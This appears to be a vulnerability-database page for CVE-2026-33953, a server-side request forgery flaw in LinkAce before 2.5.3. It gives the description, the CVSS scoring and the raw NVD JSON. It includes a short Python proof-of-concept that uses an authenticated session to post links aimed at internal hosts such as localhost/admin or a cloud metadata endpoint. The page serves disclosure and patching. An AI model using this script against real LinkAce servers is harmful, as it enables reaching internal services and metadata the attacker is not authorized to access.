Security Vulnerability Report
中文
CVE-2026-33953 CVSS 8.5 HIGH

CVE-2026-33953

Published: 2026-03-27 22:16:22
Last Modified: 2026-03-31 17:57:09

Description

LinkAce is a self-hosted archive to collect website links. Versions prior to 2.5.3 block direct requests to private IP literals, but still performs server-side requests to internal-only resources when those resources are referenced through an internal hostname. This allows an authenticated user to trigger server-side requests to internal services reachable by the LinkAce server but not directly reachable by an external user. Version 2.5.3 patches the issue.

CVSS Details

CVSS Score
8.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:linkace:linkace:*:*:*:*:*:*:*:* - VULNERABLE
LinkAce < 2.5.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33953 (LinkAce SSRF) # This script demonstrates how an internal hostname can bypass IP literal checks. import requests def exploit_ssrf(target_url, internal_host): """ Attempts to create a link pointing to an internal hostname. """ session = requests.Session() # Authentication cookie or header is required (PR:L) session.headers.update({ "Content-Type": "application/x-www-form-urlencoded",\n "Cookie": "linkace_session=<authenticated_session_token>" }) # Payload using internal hostname instead of IP payload = { "url": internal_host, # e.g., http://localhost:8080 or http://metadata.google.internal "title": "Internal Resource", "list_id": "1", "tags": "test" } try: response = session.post(f"{target_url}/links", data=payload) if response.status_code == 200 or response.status_code == 201: print(f"[+] Request sent successfully. Server likely processed {internal_host}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost:8000" # Replace with actual LinkAce URL # Targeting an internal service reachable by the server internal_target = "http://localhost/admin" exploit_ssrf(target, internal_target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33953", "sourceIdentifier": "[email protected]", "published": "2026-03-27T22:16:21.760", "lastModified": "2026-03-31T17:57:08.543", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "LinkAce is a self-hosted archive to collect website links. Versions prior to 2.5.3 block direct requests to private IP literals, but still performs server-side requests to internal-only resources when those resources are referenced through an internal hostname. This allows an authenticated user to trigger server-side requests to internal services reachable by the LinkAce server but not directly reachable by an external user. Version 2.5.3 patches the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:linkace:linkace:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.5.3", "matchCriteriaId": "5085A4DA-FF49-40D4-84A3-AFAFEC3902FC"}]}]}], "references": [{"url": "https://github.com/Kovah/LinkAce/security/advisories/GHSA-wp4g-qw9j-wfjg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}